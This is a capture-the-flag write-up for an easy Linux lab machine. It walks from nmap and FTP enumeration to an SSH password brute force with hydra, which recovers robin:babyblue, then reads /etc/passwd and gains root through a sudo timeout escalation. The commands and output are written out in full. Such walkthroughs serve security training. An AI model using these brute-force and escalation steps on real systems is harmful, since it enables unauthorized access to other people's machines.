TheHackersLabs — https://thehackerslabs.com/

  • Platform: TheHackersLabs
  • OS: Linux
  • Difficulty: Easy

Enumeration

Scan

21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.66.130
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           10671 Oct 03  2024 index.html
|_drwxr-xr-x    2 0        0            4096 Oct 07  2024 login

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 5c:38:6e:8a:4b:bb:b4:2a:ca:cb:3a:94:62:9c:aa:7e (ECDSA)
|_  256 06:c4:ea:41:7d:c3:4b:f7:8c:68:19:6b:5c:23:e4:70 (ED25519)

80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)

FTP (21)

Anonymous login enable.

21/tcp open  ftp     
vsFTPd 3.0.5 - secure, fast, stable

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           10671 Oct 03  2024 index.html
|_drwxr-xr-x    2 0        0            4096 Oct 07  2024 login

Robin as posible user (banner grabbing)

❯ nc 192.168.66.155 21
220 Bienvenido Robin

Write access denied

ftp> put test1
local: test1 remote: test1
229 Entering Extended Passive Mode (|||18245|)
550 Permission denied.

All content downloaded

wget -r ftp://anonymous@192.168.66.155 

# listing downloaded files

❯ find -exec file '{}' \;
.: directory
./192.168.66.155: directory
./192.168.66.155/login: directory
./192.168.66.155/login/login.txt: ASCII text
./192.168.66.155/index.html: HTML document, ASCII text

index.html is the same Apache2 Default Page on the HTTP server

❯ curl http://192.168.66.155/index.html > realIndex.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10671 100 10671   0     0  2411k     0  --:--:-- --:--:-- --:--:--  2605k

❯ md5sum realIndex.html
720999b43a3be0674180354ac41f20b1  realIndex.html

❯ md5sum ./192.168.66.155/index.html
720999b43a3be0674180354ac41f20b1  ./192.168.66.155/index.html

login.txt content some posible users more:

cat ./192.168.66.155/login/login.txt
rafael
monica

But login/login.txt is not found on the HTTP server:

❯ curl http://192.168.66.155/login/login.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>

SSH (22)

Password based authentication.

❯ ssh root@192.168.66.155
The authenticity of host '192.168.66.155 (192.168.66.155)' can't be established.
ED25519 key fingerprint is: SHA256:AbcLfoRO5xqCMsRNSIrZgMMbg/qvciy2F5kfxTJLfMA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.155' (ED25519) to the list of known hosts.
root@192.168.66.155's password: 

HTTP (80)

Apache2 Default Page as index

Directory Enumeration

  • Nothing interesting found
gobuster dir -u 192.168.66.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t 150 -o dirEnum
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.66.155
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10671]
/server-status        (Status: 403) [Size: 279]
Progress: 882232 / 882232 (100.00%)

Exploitation

SSH - credentials brute force

usernames.txt created with potential usernames

❯ cat usernames.txt
rafael
monica
robin

We’ll use hydra with the -u option to loop around users, not passwords.

-u        loop around users, not passwords (effective! implied with -x)

SSH Credentials found (with hydra)

hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.155 ssh -u -V -f -I
[...]
[22][ssh] host: 192.168.66.155   login: robin   password: babyblue
[STATUS] attack finished for 192.168.66.155 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

SSH access as robin

robin:babyblue
❯ ssh robin@192.168.66.155
robin@192.168.66.155's password: 
[...]
robin@TheHackersLabs-Ticktackroot:~$ id
uid=1001(robin) gid=1001(robin) groups=1001(robin),100(users)

Post-exploitation

Enumerating users with a shell

$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
oscar:x:1000:1000:oscar:/home/oscar:/bin/bash
robin:x:1001:1001:robin,,,:/home/robin:/bin/bash

Sudo permissions

$ sudo -l
Matching Defaults entries for robin on TheHackersLabs-Ticktackroot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User robin may run the following commands on TheHackersLabs-Ticktackroot:
    (ALL) NOPASSWD: /usr/bin/timeout_suid

What is timeout_suid command?

  • timeout_suid is the same command as timeout
robin@TheHackersLabs-Ticktackroot:~$ md5sum /usr/bin/timeout_suid
915fe2eea53185caeb2088cf4d4689cd  /usr/bin/timeout_suid

robin@TheHackersLabs-Ticktackroot:~$ md5sum /usr/bin/timeout
915fe2eea53185caeb2088cf4d4689cd  /usr/bin/timeout

What is timeout command?

man timeout

NAME
       timeout - run a command with a time limit

Privesc

timeout (sudo) allows privesc

https://gtfobins.github.io/gtfobins/timeout/#sudo

image

Root access

$ sudo /usr/bin/timeout_suid --foreground 7d /bin/bash
root@TheHackersLabs-Ticktackroot:/home/robin# id
uid=0(root) gid=0(root) groups=0(root)

0 items under this folder.